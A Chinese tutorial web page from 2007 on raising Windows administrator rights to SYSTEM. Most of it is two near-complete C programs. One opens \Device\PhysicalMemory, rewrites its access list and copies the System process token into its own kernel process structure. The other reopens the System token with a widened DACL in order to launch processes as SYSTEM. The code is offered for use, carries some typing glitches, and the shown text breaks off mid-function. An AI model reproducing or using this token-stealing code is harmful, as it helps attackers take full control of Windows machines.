系统管理员权限,管理员组获取系统权限的完美解决方案

管理员组获取系统权限的完美解决方案 - 系统安全 - 电脑教程网

管理员组获取系统权限的完美解决方案

日期:2007-05-14   荐:
  关于管理员组(administrators)获取系统(SYSTEM)权限的方法其实已经有很多种了.
小四哥就提到了一些:"MSDN系列(3)--Administrator用户直接获取SYSTEM权限"和"远程线程注入版获取SYSTEM权限".
这里,我先踩在前辈的肩上列一些可行的方法:

1. "利用ZwCreateToken()自己创建一个SYSTEM令牌(Token)"
2. HOOK掉创建进程的函数ZwCreateProcess(Ex),用winlogon ID 创建
3. 远线程插入,插入线程到系统进程,创建一新进程

这上面三种方法都是scz提到的,也存在一些问题.其实除此这外,我们还可以:
4. 将程序做成服务,带参数运行新进程

做为服务来讲就是SYSTEM了,再创建的进程也是SYSTEM权限.

当然,这里我都不会用到上面提到的方法.因为网上都能找到现成的实现代码.而且考虑一些复杂性以及存在的一些问题都不是很好的解决方案.

这里,我拿出两种新的方案来实现该功能:

第一种方法.我们先来看一下系统是如何进行权限检测的,
举个例子,在调用了OpenProcessToken,我们知道会进行权限的验证:
OpenProcessToken->NtOpenProcessToken->PsOpenTokenOfProcess->PsReferencePrimaryToken->找到这一句Token = Process->Token;
                  |->ObOpenObjectByPointer调用上面返回的TOKEN进行检查

也就是说,系统在检测权限时仅仅通过从进程的EPROCESS结构种拿出Token项进行操作.因此我们不需要继续往ObOpenObjectByPointer里面跟进了。
思路已经很明显:直接将System进程的Token拿过来,放到我们进程的Token位置。那么系统就认为我们是SYSTEM权限.
而这时我们的进程创建的子进程也就是SYSTEM权限了。(以上分析过程请参考WINDOWS源代码...^_^)

实现代码:
===========================================================================================================
#include<windows.h>
#include<stdio.h>
#include<Accctrl.h>
#include<Aclapi.h>

#define TOKEN_OFFSET 0xc8 //In windows 2003, it's 0xc8, if others' version, change it
#define NT_SUCCESS(Status)      ((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH    ((NTSTATUS)0xC0000004L)
#define STATUS_Access_DENIED ((NTSTATUS)0xC0000022L)

typedef LONG NTSTATUS;
typedef struct _IO_STATUS_BLOCK
{
  NTSTATUS  Status;
  ULONG    Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING
{
  USHORT    Length;
  USHORT    MaximumLength;
  PWSTR    Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_INHERIT       0x00000002L
#define OBJ_PERMANENT      0x00000010L
#define OBJ_EXCLUSIVE      0x00000020L
#define OBJ_CASE_INSENSITIVE  0x00000040L
#define OBJ_OPENIF       0x00000080L
#define OBJ_OPENLINK      0x00000100L
#define OBJ_KERNEL_HANDLE    0x00000200L
#define OBJ_VALID_ATTRIBUTES  0x000003F2L

typedef struct _OBJECT_ATTRIBUTES
{
  ULONG    Length;
  HANDLE    RootDirectory;
  PUNICODE_STRING ObjectName;
  ULONG    Attributes;
  PVOID    SecurityDescriptor;
  PVOID    SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 

typedef struct _SYSTEM_MODULE_INFORMATION
{
  ULONG Reserved[2];
  PVOID Base;
  ULONG Size;
  ULONG Flags;
  USHORT Index;
  USHORT Unknown;
  USHORT LoadCount;
  USHORT ModuleNameOffset;

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  CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS
{
  SystemBasicInformation,
  SystemProcessorInformation,
  SystemPerformanceInformation,
  SystemTimeOfDayInformation,
  SystemNotImplemented1,
  SystemProcessesAndThreadsInformation,
  SystemCallCounts,
  SystemConfigurationInformation,
  SystemProcessorTimes,
  SystemGlobalFlag,
  SystemNotImplemented2,
  SystemModuleInformation,
  SystemLockInformation,
  SystemNotImplemented3,
  SystemNotImplemented4,
  SystemNotImplemented5,
  SystemHandleInformation,
  SystemObjectInformation,
  SystemPagefileInformation,
  SystemInstructionEmulationCounts,
  SystemInvalidInfoClass1,
  SystemCacheInformation,
  SystemPoolTagInformation,
  SystemProcessorStatistics,
  SystemDpcInformation,
  SystemNotImplemented6,
  SystemLoadImage,
  SystemUnloadImage,
  SystemTimeAdjustment,
  SystemNotImplemented7,
  SystemNotImplemented8,
  SystemNotImplemented9,
  SystemCrashDumpInformation,
  SystemExceptionInformation,
  SystemCrashDumpStateInformation,
  SystemKernelDebuggerInformation,
  SystemContextSwitchInformation,
  SystemRegistryQuotaInformation,
  SystemLoadAndCallImage,
  SystemPrioritySeparation,
  SystemNotImplemented10,
  SystemNotImplemented11,
  SystemInvalidInfoClass2,
  SystemInvalidInfoClass3,
  SystemTimeZoneInformation,
  SystemLookasideInformation,
  SystemSetTimeSlipEvent,
  SystemCreateSession,
  SystemDeleteSession,
  SystemInvalidInfoClass4,
  SystemRangeStartInformation,
  SystemVerifierInformation,
  SystemAddVerifier,
  SystemSessionProcessesInformation
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION )
(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
  OUT PHANDLE SectionHandle,
  IN ACCESS_MASK DesiredAccess,
  IN POBJECT_ATTRIBUTES ObjectAttributes
  );

typedef VOID (CALLBACK* RTLINITUNICODESTRING)(        
  IN OUT PUNICODE_STRING DestinationString,
  IN PCWSTR SourceString
  );

typedef struct _SYSTEM_HANDLE_INFORMATION
{
  ULONG      ProcessId;
  UCHAR      ObjectTypeNumber;
  UCHAR      Flags;
  USHORT      Handle;
  PVOID      Object;
  ACCESS_MASK    GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

RTLINITUNICODESTRING    RtlInitUnicodeString;
ZWOPENSECTION      ZwOpenSection;
ZWQUERYSYSTEMINFORMATION  ZwQuerySystemInformation = NULL;
HMODULE  g_hNtDLL = NULL;
PVOID   g_pMapPhysicalMemory = NULL;
HANDLE   g_hMPM   = NULL;

BOOL InitNTDLL()

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{
  g_hNtDLL = LoadLibrary( "ntdll.dll" );
  if ( !g_hNtDLL )
  {
    return FALSE;
  }

  RtlInitUnicodeString =
    (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString");

  ZwOpenSection =
    (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");

  ZwQuerySystemInformation =
    ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );

  ZwQuerySystemInformation =
    ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );

  return TRUE;
}

VOID CloseNTDLL()
{
  if(g_hNtDLL != NULL)
  {
    FreeLibrary(g_hNtDLL);
  }
}

VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{

  PACL pDacl=NULL;
  PACL pNewDacl=NULL;
  PSECURITY_DESCRIPTOR pSD=NULL;
  DWord dwRes;
  EXPLICIT_ACCESS ea;

  if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
    NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)
  {
    goto CleanUp;
  }

  ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
  ea.grfAccessPermissions = SECTION_MAP_WRITE;
  ea.grfAccessMode = GRANT_ACCESS;
  ea.grfInheritance= NO_INHERITANCE;
  ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
  ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
  ea.Trustee.ptstrName = "CURRENT_USER";


  if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
  {
    goto CleanUp;
  }

  if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
  {
    goto CleanUp;
  }

CleanUp:

  if(pSD)
    LocalFree(pSD);
  if(pNewDacl)
    LocalFree(pNewDacl);
}

HANDLE OpenPhysicalMemory()
{
  NTSTATUS    status;
  UNICODE_STRING    physmemString;
  OBJECT_ATTRIBUTES  attributes;

  RtlInitUnicodeString( &physmemString, L"\\Device\\PhysicalMemory" );

  attributes.Length      = sizeof(OBJECT_ATTRIBUTES);
  attributes.RootDirectory    = NULL;
  attributes.ObjectName      = &physmemString;
  attributes.Attributes      = 0;
  attributes.SecurityDescriptor    = NULL;
  attributes.SecurityQualityOfService  = NULL;

  status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);

  if(status == STATUS_ACCESS_DENIED){
    status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes);
    SetPhyscialMemorySectionCanBeWrited(g_hMPM);
    CloseHandle(g_hMPM);
    status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
  }

  if( !NT_SUCCESS( status ))
  {

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    return NULL;
  }

  g_pMapPhysicalMemory = MapViewOfFile(
    g_hMPM,
    4,
    0,
    0x30000,
    0x1000);
  if( g_pMapPhysicalMemory == NULL )
  {
    return NULL;
  }

  return g_hMPM;
}

PVOID LinearToPhys(PULONG BaseAddress,PVOID addr)
{
  ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr;
  if(VAddr>=0x80000000 && VAddr<0xa0000000)
  {
    PAddr=VAddr-0x80000000;
    return (PVOID)PAddr;
  }
  PGDE=BaseAddress[VAddr>>22];
  if ((PGDE&1)!=0)
  {
    ULONG tmp=PGDE&0x00000080;
    if (tmp!=0)
    {
      PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF);
    }
    else
    {
      PGDE=(ULONG)MapViewOfFile(g_hMPM, FILE_MAP_ALL_ACCESS, 0, PGDE & 0xfffff000, 0x1000);
      PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
      if ((PTE&1)!=0)
      {
        PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);
        UnmapViewOfFile((PVOID)PGDE);
      }
      else return 0;
    }
  }
  else return 0;

  return (PVOID)PAddr;
}


ULONG GetData(PVOID addr)
{
  ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
  PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000);
  if (tmp==0)
    return 0;
  ULONG ret=tmp[(phys & 0xFFF)>>2];
  UnmapViewOfFile(tmp);
  return ret;
}

BOOL SetData(PVOID addr,ULONG data)
{
  ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
  PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);
  if (tmp==0)
    return FALSE;
  tmp[(phys & 0xFFF)>>2]=data;
  UnmapViewOfFile(tmp);
  return TRUE;
}

DWORD MyGetModuleBaseAddress( char * pModuleName)
{
  PSYSTEM_MODULE_INFORMATION  pSysModule;  

  ULONG      uReturn;
  ULONG      uCount;
  PCHAR      pBuffer = NULL;
  PCHAR      pName  = NULL;
  NTSTATUS    status;
  UINT      ui;
  CHAR      szBuffer[10];
  DWORD      pBaseAddress;

  status = ZwQuerySystemInformation( SystemModuleInformation, szBuffer, 10, &uReturn );
  pBuffer = ( PCHAR )malloc(uReturn);
  if ( pBuffer )
  {
    status = ZwQuerySystemInformation( SystemModuleInformation, pBuffer, uReturn, &uReturn );
    if( NT_SUCCESS(status) )
    {
      uCount = ( ULONG )*( ( ULONG * )pBuffer );
      pSysModule = ( PSYSTEM_MODULE_INFORMATION )( pBuffer + sizeof( ULONG ) );
      for ( ui = 0; ui < uCount; ui++ )
      {
        pName = strstr( pSysModule->ImageName, pModuleName );
        if( pName )
        {
          pBaseAddress = (DWORD)pSysModule->Base;
          free( pBuffer );
          return pBaseAddress;
        }
        pSysModule ++;

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      }
    }

    free( pBuffer );
  }

  return NULL;
}

DWORD GetEprocessFromId (DWORD PID)
{
  NTSTATUS           status;
  PVOID            buf  = NULL;
  ULONG            size = 1;
  ULONG            NumOfHandle = 0;
  ULONG            i;
  PSYSTEM_HANDLE_INFORMATION  h_info = NULL;
  DWORD  n;
  DWORD  retvalue=0;

  buf=malloc(0x1000);
  if(buf == NULL)
  {
    printf("malloc wrong\n");
    return FALSE;
  }
  status = ZwQuerySystemInformation( SystemHandleInformation, buf, 0x1000, &n );
  if(STATUS_INFO_LENGTH_MISMATCH == status)
  {
    free(buf);
    buf=malloc(n);
    if(buf == NULL)
    {
      printf("malloc wrong\n");
      return FALSE;
    }
    status = ZwQuerySystemInformation( SystemHandleInformation, buf, n, NULL);
  }
  else
  {
    printf("ZwQuerySystemInformation wrong\n");
    return FALSE;
  }

  NumOfHandle = *(ULONG*)buf;

  h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);

  for(i = 0; i<NumOfHandle ;i++)
  {
      if( h_info[i].ProcessId == PID &&( h_info[i].ObjectTypeNumber == 5 ))
      {
        retvalue=(DWORD)(h_info[i].Object);
        break;
      }
  }

  if ( buf != NULL )
  {
    free( buf );
  }
  return retvalue;
}

void usage(char *exe)
{
  printf("Usage : %s [exefile|-h]\n");
}

int main(int argc, char **argv)
{
  HMODULE hDll;
  DWORD tmp;
  DWORD SystemEprocess;
  DWORD SystemEprocessTokenValue;
  DWORD CurrentEprocess;
  DWORD CurrentEprocessTokenValue;

  printf("\nIt is intended to get SYSTEM privilege from administrators group.\n");
  printf("\tMade by ZwelL.\n");
  printf("\[email protected].\n");
  printf("\thttp://www.donews.net/zwell.\n");
  printf("\tType -h to get more information\n", argv[0]);

  if( argc>=2)
  {
    if(
      ( (strcmp(argv[1],"-h")==0) && (argc==2))
      || (argc>2)
     )
    {
      usage(argv[0]);
      exit(-1);
    }
  }

  if (!InitNTDLL())
  {
    printf("InitNTDLL wrong\n");
    exit(-1);
  }

  if (OpenPhysicalMemory()==0)
  {
    printf("OpenPhysicalMemory wrong\n");
    exit(-1);
  }

  hDll = LoadLibrary("ntoskrnl.exe");
  tmp = (DWORD)GetProcAddress(hDll, "PsInitialSystemProcess");
  tmp=MyGetModuleBaseAddress("ntoskrnl.exe")+(DWORD)tmp-(DWORD)hDll;
  SystemEprocess=GetData((PVOID)tmp);
  tmp=SystemEprocess+TOKEN_OFFSET; //SYSTEM's Token address
  SystemEprocessTokenValue=GetData((PVOID)tmp);  //SYSTEM's Token
  printf("System Process Token : 0x%08X\n", SystemEprocessTokenValue);

  OpenProcess( PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId() );

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  CurrentEprocess = GetEprocessFromId(GetCurrentProcessId());
  CurrentEprocessTokenValue = GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET));

  printf("Current EPROCESS : %08x\n", CurrentEprocess);
  printf("Current Process Token : %08x\nPress ENTER to continue...\n",
    CurrentEprocessTokenValue);
  //getchar();
  SetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET), SystemEprocessTokenValue);
  printf("Current Process Token : %08x\n",
    GetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET)));
  printf("Press ENTER to create process...\n");
  //getchar();

  if( GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET))
    == GetData((PVOID)(SystemEprocess+TOKEN_OFFSET)) 
    )
    // It is so surprised that SYSTEM's Token always in changing.
    // So before create new process, we should ensure the TOKEN is all right
  {
    ShellExecute(NULL, "open", (argc==2)?argv[1]:"c:\\windows\\regedit.exe", NULL, NULL, SW_SHOWNORMAL);
  }
  UnmapViewOfFile(g_pMapPhysicalMemory);
  CloseHandle(g_hMPM);
  CloseNTDLL();

  return 0;
}


在上面的代码中,请将TOKEN_OFFSET改成你的系统版本的偏移值.我们也可以想像到由于是操作了系统的内核空间,搞不好会出现蓝屏现象(尽管机率很小).

=========================================================================================================
第二种方法,我们不自己创建进程,而是直接用System进程的Token来创建进程.看到这,大家可能又想到了远线程。
这里不是。我的思路是:配置好桌面(desktop),工作区间(WindowStation)等信息,最后调用CreateProcessAsUser来创建子进程。
用这种方法极为稳定。这里一些关于获取SID的代码可以看我前一段时间写的"一种新的穿透_blank">防火墙的数据传输技术".

下面是源代码,这段代码也实现了RUNAS的功能,有兴趣可以研究一下,大部分都来自MSDN:

#include <windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
#include <AccCtrl.h>
#include <Aclapi.h>
#include <wtsapi32.h>

#pragma comment(lib, "wtsapi32")

HANDLE OpenSystemProcess()
{
  HANDLE hSnapshot = NULL;
  HANDLE hProc   = NULL;

  __try
  {
    // Get a snapshot of the processes in the system
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == NULL)
    {
      printf("OpenSystemProcess CreateToolhelp32Snapshot Failed");
      __leave;
    }

    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(pe32);

    // Find the "System" process
    BOOL fProcess = Process32First(hSnapshot, &pe32);
    while (fProcess && (lstrcmpi(pe32.szExeFile, TEXT("SYSTEM")) != 0))
      fProcess = Process32Next(hSnapshot, &pe32);
    if (!fProcess)
    {
      printf("OpenSystemProcess Not Found SYSTEM");
      __leave;  // Didn't find "System" process
    }

    // Open the process with PROCESS_QUERY_INFORMATION access
    hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE,
      pe32.th32ProcessID);
    if (hProc == NULL)
    {
      printf("OpenSystemProcess OpenProcess Failed");
      __leave;

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    }
  }
  __finally
  {
    // Cleanup the snapshot
   if (hSnapshot != NULL)
     CloseHandle(hSnapshot);
   return(hProc);
  }
}

BOOL EnablePrivilege (PCSTR name)
{
  HANDLE hToken;
  BOOL rv;
 
  TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
  LookupPrivilegeValue (
    0,
    name,
    &priv.Privileges[0].Luid
  );
 
  OpenProcessToken(
    GetCurrentProcess (),
    TOKEN_ADJUST_PRIVILEGES,
    &hToken
  );
 
  AdjustTokenPrivileges (
    hToken,
    FALSE,
    &priv,
    sizeof priv,
    0,
    0
  );
  rv = GetLastError () == ERROR_SUCCESS;
 
  CloseHandle (hToken);
  return rv;
}

#define chDIMOF(Array) (sizeof(Array) / sizeof(Array[0]))

BOOL ModifySecurity(HANDLE hProc, DWORD dwAccess)
{
  PACL pAcl    = NULL;
  PACL pNewAcl   = NULL;
  PACL pSacl    = NULL;
  PSID pSidOwner  = NULL;
  PSID pSidPrimary = NULL;
  BOOL fSuccess  = TRUE;

  PSECURITY_DESCRIPTOR pSD = NULL;

  __try
  {
    // Find the length of the security object for the kernel object
    DWORD dwSDLength;
    if (GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD, 0,
      &dwSDLength) || (GetLastError() != ERROR_INSUFFICIENT_BUFFER))
    {
      printf("ModifySecurity GetKernelObjectSecurity Size Failed");
      __leave;
    }

    // Allocate a buffer of that length
    pSD = LocalAlloc(LPTR, dwSDLength);
    if (pSD == NULL)
    {
      printf("ModifySecurity LocalAlloc Failed");
      __leave;
    }

    // Retrieve the kernel object
    if (!GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD,
      dwSDLength, &dwSDLength))
    {
      printf("ModifySecurity GetKernelObjectSecurity Failed");
      __leave;
    }

    // Get a pointer to the DACL of the SD
    BOOL fDaclPresent;
    BOOL fDaclDefaulted;
    if (!GetSecurityDescriptorDacl(pSD, &fDaclPresent, &pAcl,
      &fDaclDefaulted))
    {
      printf("ModifySecurity GetSecurityDescriptorDacl Failed");
      __leave;
    }

    // Get the current user's name
    TCHAR szName[1024];
    DWORD dwLen = chDIMOF(szName);
    if (!GetUserName(szName, &dwLen))
    {
      printf("ModifySecurity GetUserName Failed");
      __leave;
    }

    // Build an EXPLICIT_ACCESS structure for the ace we wish to add.
    EXPLICIT_ACCESS ea;
    BuildExplicitAccessWithName(&ea, szName, dwAccess, GRANT_ACCESS, 0);
    ea.Trustee.TrusteeType = TRUSTEE_IS_USER;

    // We are allocating a new ACL with a new ace inserted. The new
    // ACL must be LocalFree'd
    if(ERROR_SUCCESS != SetEntriesInAcl(1, &ea, pAcl, &pNewAcl))
    {

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      printf("ModifySecurity SetEntriesInAcl Failed");
      pNewAcl = NULL;
      __leave;
    }

    // Find the buffer sizes we would need to make our SD absolute
    pAcl        = NULL;
    dwSDLength     = 0;
    DWORD dwAclSize  = 0;
    DWORD dwSaclSize  = 0;
    DWORD dwSidOwnLen = 0;
    DWORD dwSidPrimLen = 0;
    PSECURITY_DESCRIPTOR pAbsSD = NULL;
    if(MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl,
      &dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen)
      || (GetLastError() != ERROR_INSUFFICIENT_BUFFER))
    {
      printf("ModifySecurity MakeAbsoluteSD Size Failed");
      __leave;
    }

    // Allocate the buffers
    pAcl = (PACL) LocalAlloc(LPTR, dwAclSize);
    pSacl = (PACL) LocalAlloc(LPTR, dwSaclSize);
    pSidOwner = (PSID) LocalAlloc(LPTR, dwSidOwnLen);
    pSidPrimary = (PSID) LocalAlloc(LPTR, dwSidPrimLen);
    pAbsSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR, dwSDLength);
    if(!(pAcl && pSacl && pSidOwner && pSidPrimary && pAbsSD))
    {
      printf("ModifySecurity Invalid SID Found");
      __leave;
    }

    // And actually make our SD absolute
    if(!MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl,
      &dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen))
    {
      printf("ModifySecurity MakeAbsoluteSD Failed");
      __leave;
    }

    // Now set the security descriptor DACL
    if(!SetSecurityDescriptorDacl(pAbsSD, fDaclPresent, pNewAcl,
      fDaclDefaulted))
    {
      printf("ModifySecurity SetSecurityDescriptorDacl Failed");
      __leave;
    }

    // And set the security for the object
    if(!SetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pAbsSD))
    {
      printf("ModifySecurity SetKernelObjectSecurity Failed");
      __leave;
    }

    fSuccess = TRUE;

  }
  __finally
  {
    // Cleanup
    if (pNewAcl == NULL)
      LocalFree(pNewAcl);

    if (pSD == NULL)
      LocalFree(pSD);

    if (pAcl == NULL)
      LocalFree(pAcl);

    if (pSacl == NULL)
      LocalFree(pSacl);

    if (pSidOwner == NULL)
      LocalFree(pSidOwner);

    if (pSidPrimary == NULL)
      LocalFree(pSidPrimary);

    if(!fSuccess)
    {
      printf("ModifySecurity exception caught in __finally");
    }

    return(fSuccess);
  }
}

HANDLE GetLSAToken()
{
  HANDLE hProc = NULL;
  HANDLE hToken = NULL;
  BOOL bSuccess = FALSE;
  __try
  {
    // Enable the SE_DEBUG_NAME privilege in our process token
    if (!EnablePrivilege(SE_DEBUG_NAME))
    {
      printf("GetLSAToken EnablePrivilege Failed");

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      __leave;
    }

    // Retrieve a handle to the "System" process
    hProc = OpenSystemProcess();
    if(hProc == NULL)
    {
      printf("GetLSAToken OpenSystemProcess Failed");
      __leave;
    }

    // Open the process token with READ_CONTROL and WRITE_DAC access. We
    // will use this access to modify the security of the token so that we
    // retrieve it again with a more complete set of rights.
    BOOL fResult = OpenProcessToken(hProc, READ_CONTROL | WRITE_DAC,
      &hToken);
    if(FALSE == fResult) 
    {
      printf("GetLSAToken OpenProcessToken Failed");
      __leave;
    }

    // Add an ace for the current user for the token. This ace will add
    // TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY rights.
    if (!ModifySecurity(hToken, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY
      | TOKEN_QUERY | TOKEN_ADJUST_SESSIONID))
    {
      printf("GetLSAToken ModifySecurity Failed");
      __leave;
    }
   

    // Reopen the process token now that we have added the rights to
    // query the token, duplicate it, and assign it.
    fResult = OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_DUPLICATE
  &nb, sp;    | TOKEN_ASSIGN_PRIMARY | READ_CONTROL | WRITE_DAC, &hToken);
    if (FALSE == fResult) 
    {
      printf("GetLSAToken OpenProcessToken Failed");
      __leave;
    }
    bSuccess = TRUE;
  }
  __finally
  {
    // Close the System process handle
    if (hProc != NULL)  CloseHandle(hProc);
    if(bSuccess)
      return hToken;
    else
    {
      ::CloseHandle(hToken);
      return NULL;
    }
  }
}

#define DESKTOP_ALL (DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU | DESKTOP_HOOKCONTROL | \
    DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK | \
    DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | \
    DESKTOP_SWITCHDESKTOP | STANDARD_RIGHTS_REQUIRED)

#define WINSTA_ALL (WINSTA_ENUMDESKTOPS | WINSTA_READATTRIBUTES | \
  WINSTA_ACCESSCLIPBOARD | WINSTA_CREATEDESKTOP | \
    WINSTA_WRITEATTRIBUTES | WINSTA_ACCESSGLOBALATOMS | \
    WINSTA_EXITWINDOWS | WINSTA_ENUMERATE | \
    WINSTA_READSCREEN | \
    STANDARD_RIGHTS_REQUIRED)
#define GENERIC_ACCESS (GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE | GENERIC_ALL)

BOOL AddAceToWindowStation(HWINSTA hwinsta, PSID psid);

BOOL AddAceToDesktop(HDESK hdesk, PSID psid);

BOOL GetLogonSID(HANDLE hToken, PSID *ppsid)
{
  PWTS_PROCESS_INFO pProcessInfo = NULL;
  DWORD       ProcessCount = 0;
  BOOL        ret=FALSE;

  if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
  {
    // dump each process description
    for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)

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